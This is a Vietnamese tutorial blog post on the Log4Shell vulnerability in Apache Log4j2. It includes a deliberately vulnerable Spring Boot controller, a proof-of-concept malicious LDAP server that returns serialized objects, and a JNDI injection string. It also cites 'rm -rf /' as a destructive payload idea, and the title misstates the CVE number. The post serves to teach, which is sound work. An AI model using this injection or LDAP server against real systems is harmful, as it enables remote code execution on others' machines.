- vừa được xem lúc

Lỗ hổng bảo mật Log4Shell(CVE-2021-4428) của thư viện Apache Log4j2

0 0 48

Người đăng: logbasex

Theo Viblo Asia

Giới thiệu

Tóm tắt câu chuyện làm chấn động giới IT mấy ngày gần đây đó chính là, có một lỗ hổng bảo mật vô cùng nghiêm trọng liên quan đến thư viện Log4j2 được cung cấp bởi Apache khiến hacker có thể kiểm soát toàn bộ hệ thống bằng phương thức tấn công thực thi mã từ xa RCE (Remote Code Execution). Và vấn đề ở đây là do java JDK từ đầu không có thư viện logging mà đến tận bản 1.5 thì mới hỗ trợ thư viện java.util.logging, tuy nhiên vẫn thiếu nhiều chức năng nên thư viện Log4j (4j - For Java) trở nên phổ biến và đến thời điểm hiện tại thì thư viện Log4j{2} đã xuất hiện ở rất nhiều thiết bị sử dụng Java trên toàn thế giới. Lỗ hỗng bảo mật mà thư viện này gặp phải được gọi là zero-day vulnerability, theo wikipedia thì là một lỗi mà có thể hacker đã khai thác lỗ hổng này rồi mà nhà sản xuất/phát triển chưa biết cái gì cả cho đến tận ngày 9/12 gần đây thì Apache mới công khai qua một thông báo về lỗ hổng có ID là CVE-2021-44228 (Common Vulnerabilities and Exposures) hay còn gọi là Log4Shell.

Mô tả lỗ hổng

Mọi thứ bắt đầu từ một dòng log cơ bản:

//using log4j vulnerability version (up to 2.14).
org.apache.logging.log4j.LogManager.getLogger("Hello World").info("Hello: {}", inputString);

Nếu inputString là một static variable như Logbasex thì chẳng có chuyện gì nguy hiểm xảy ra cả, tuy nhiên nếu inputString là một dynamic variable dạng như sau: ${java:version} (variable expansion) thì thư viện Log4j sẽ tiến hành việc lookup nhiều nơi để có được thông tin phù hợp bằng cách tìm kiếm ở local server (current time, os, java version...) hoặc remote server. Log4j thực thi việc remote lookup thông qua một khái niệm được gọi là Java Naming and Directory Interface (JNDI), JNDI cung cấp cho chúng ta một cách để tìm kiếm bằng cách sử dụng các dịch vụ và giao thức khác nhau như Lightweight Directory Access Protocol (LDAP), Java Remote Method Invocation (RMI)... tuy nhiên trong phạm vi bài viết này, chúng ta sẽ tập trung vào giao thức LDAP.

JNDI có cú pháp khá đơn giản: ${jndi:protocol://server}. Các block ${} có thể được lồng vào nhau cho phép việc hacker có thể khai thác thông tin qua những biến môi trường được config sẵn trong hệ thống như hình dưới đây:

Trông nguy hiểm đấy tuy nhiên thì vấn đề chưa dừng lại ở đây. RFC 2713 (Request For Comments) định nghĩa rằng các object Java có thể được lưu trữ trong một Directory Service - và thông qua JNDI, các object này có thể khởi tạo từ static initialization block không qua một khái niệm gọi là unmarshalling (cái này hơi khác so với deserialization nha, các bạn có thể đọc thêm ở đây), điều này có nghĩa là khi class được load bằng class loader thì static initialization block sẽ được thực thi, nhưng thay vì khởi tạo object thì staic block này lại tiến hành gọi shell command như rm -rf / chẳng hạn.

Demo

I. Vunerable app

  1. Khởi tạo ứng dụng spring-boot ở đây họăc từ IDE.
  2. Code ví dụ file build.gradle
    plugins { id 'org.springframework.boot' version '2.6.1' id 'io.spring.dependency-management' version '1.0.11.RELEASE' id 'java'
    } group = 'com.logbasex'
    version = '0.0.1-SNAPSHOT'
    sourceCompatibility = '1.8' repositories { mavenCentral()
    } dependencies { implementation('org.springframework.boot:spring-boot-starter-web') { exclude group: 'org.springframework.boot', module: 'spring-boot-starter-logging' } implementation 'org.springframework.boot:spring-boot-starter-log4j2:2.6.1' testImplementation 'org.springframework.boot:spring-boot-starter-test'
    } test { useJUnitPlatform()
    }
    
  3. Code ví dụ main application
    package com.logbasex.vulnerableapp; import org.springframework.boot.SpringApplication;
    import org.springframework.boot.autoconfigure.SpringBootApplication; @SpringBootApplication
    public class VulnerableAppApplication { public static void main(String[] args) { SpringApplication.run(VulnerableAppApplication.class, args); } }
    
  4. Code ví dụ Controller
    package com.logbasex.vulnerableapp; import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;
    import org.springframework.web.bind.annotation.GetMapping;
    import org.springframework.web.bind.annotation.RequestHeader;
    import org.springframework.web.bind.annotation.RestController; @RestController
    public class MainController { private static final Logger logger = LogManager.getLogger("HelloWorld"); @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { //using log4j vulnerability version. logger.info("Received a request for API version: {}", apiVersion); return "Hello, world!"; }
    }
    

II. LDAP Server

  1. Code ví dụ build.gradle
    plugins { id 'java'
    } version 'unspecified' repositories { mavenCentral()
    } dependencies { implementation 'com.unboundid:unboundid-ldapsdk:3.1.1' testImplementation 'org.junit.jupiter:junit-jupiter-api:5.7.2' testRuntimeOnly 'org.junit.jupiter:junit-jupiter-engine:5.7.2'
    } test { useJUnitPlatform()
    }
    
  2. Code ví dụ LDAP server
    package com.logbasex.ldapserver; import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    import com.unboundid.ldap.listener.InMemoryListenerConfig;
    import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
    import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
    import com.unboundid.ldap.sdk.Entry;
    import com.unboundid.ldap.sdk.LDAPException;
    import com.unboundid.ldap.sdk.LDAPResult;
    import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory;
    import javax.net.SocketFactory;
    import javax.net.ssl.SSLSocketFactory;
    import java.io.ByteArrayOutputStream;
    import java.io.IOException;
    import java.io.ObjectOutputStream;
    import java.net.InetAddress;
    import java.util.logging.ConsoleHandler; /** * This is a proof of concept implementation of CVE-2021-44228 (https://github.com/advisories/GHSA-jfh8-c2jp-5v3q) */
    public class LDAPServer { public static void main(String... args) { final int port = 1389; try { final InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=exploit,dc=com"); config.setListenerConfigs(new InMemoryListenerConfig("exploit", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor()); config.setAccessLogHandler(new ConsoleHandler()); final InMemoryDirectoryServer server = new InMemoryDirectoryServer(config); System.out.println("[+] LDAP Server Start Listening on " + port + " ...."); server.startListening(); } catch (Exception ex) { ex.printStackTrace(); } } private static final class OperationInterceptor extends InMemoryOperationInterceptor { @Override public void processSearchResult(InMemoryInterceptedSearchResult result) { try { final String baseDn = result.getRequest().getBaseDN(); System.out.println("[+] Received LDAP Query: " + baseDn); sendSerializedResult(result, new Entry(baseDn)); } catch (Exception ex) { ex.printStackTrace(); } } // Works all the time // ${jndi:ldap://127.0.0.1/a} private void sendSerializedResult(InMemoryInterceptedSearchResult result, Entry entry) throws LDAPException, IOException { final String send = "Logbasex had entered your house through a Apache Log4j2 Vulnerability."; final ByteArrayOutputStream serializedStream = new ByteArrayOutputStream(); final ObjectOutputStream objectStream = new ObjectOutputStream(serializedStream); objectStream.writeObject(send); serializedStream.flush(); entry.addAttribute("javaClassName", send.getClass().getName()); entry.addAttribute("javaSerializedData", serializedStream.toByteArray()); //this allows an attacker to execute "arbitrary code/command" like remove file, shutdown server, etc. result.sendSearchEntry(entry); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } }
    }
    

Ở trong bài viết này mình chỉ demo một ví dụ đơn giản đó là trả về một string khi vunerable-app lookup đến ldap-server, nếu bạn muốn tìm nghiên cứu sâu hơn thì có thể xem qua tool JNDIExploit này (Hiện tại chưa hiểu lý do vì sao mà nó bị gỡ khỏi Github).

III. Video và code example

Cách khắc phục

Hiện tại thì đã có nhiều bài viết chi tiết về vấn đề này, mình sẽ không đề cập đến nữa. Các bạn có thể xem thông tin chi tiết ở những link sau:

Bonus

Nguồn tham khảo

  1. https://stackoverflow.com/questions/3636692/what-is-the-difference-between-ldap-and-filesystem-jndis
  2. https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/index.html
  3. https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
  4. https://www.veracode.com/blog/research/exploiting-jndi-injections-java
  5. https://www.youtube.com/watch?v=ziZnU3t-DRM
  6. https://businessinsights.bitdefender.com/technical-advisory-zero-day-critical-vulnerability-in-log4j2-exploited-in-the-wild
  7. https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/

Bình luận

Bài viết tương tự

- vừa được xem lúc

Tổng hợp các bài hướng dẫn về Design Pattern - 23 mẫu cơ bản của GoF

Link bài viết gốc: https://gpcoder.com/4164-gioi-thieu-design-patterns/. Design Patterns là gì. Design Patterns không phải là ngôn ngữ cụ thể nào cả.

0 0 302

- vừa được xem lúc

Học Spring Boot bắt đầu từ đâu?

1. Giới thiệu Spring Boot. 1.1.

0 0 278

- vừa được xem lúc

Cần chuẩn bị gì để bắt đầu học Java

Cần chuẩn bị những gì để bắt đầu lập trình Java. 1.1. Cài JDK hay JRE.

0 0 51

- vừa được xem lúc

Sử dụng ModelMapper trong Spring Boot

Bài hôm nay sẽ là cách sử dụng thư viện ModelMapper để mapping qua lại giữa các object trong Spring nhé. Trang chủ của ModelMapper đây http://modelmapper.org/, đọc rất dễ hiểu dành cho các bạn muốn tìm hiểu sâu hơn. 1.

0 0 194

- vừa được xem lúc

[Java] 1 vài tip nhỏ khi sử dụng String hoặc Collection part 1

. Hello các bạn, hôm nay mình sẽ chia sẻ về mẹo check String null hay full space một cách tiện lợi. Mình sẽ sử dụng thư viện Lớp StringUtils download file jar để import vào thư viện tại (link).

0 0 71

- vừa được xem lúc

Deep Learning với Java - Tại sao không?

Muốn tìm hiểu về Machine Learning / Deep Learning nhưng với background là Java thì sẽ như thế nào và bắt đầu từ đâu? Để tìm được câu trả lời, hãy đọc bài viết này - có thể kỹ năng Java vốn có sẽ giúp bạn có những chuyến phiêu lưu thú vị. DJL là tên viết tắt của Deep Java Library - một thư viện mã ng

0 0 139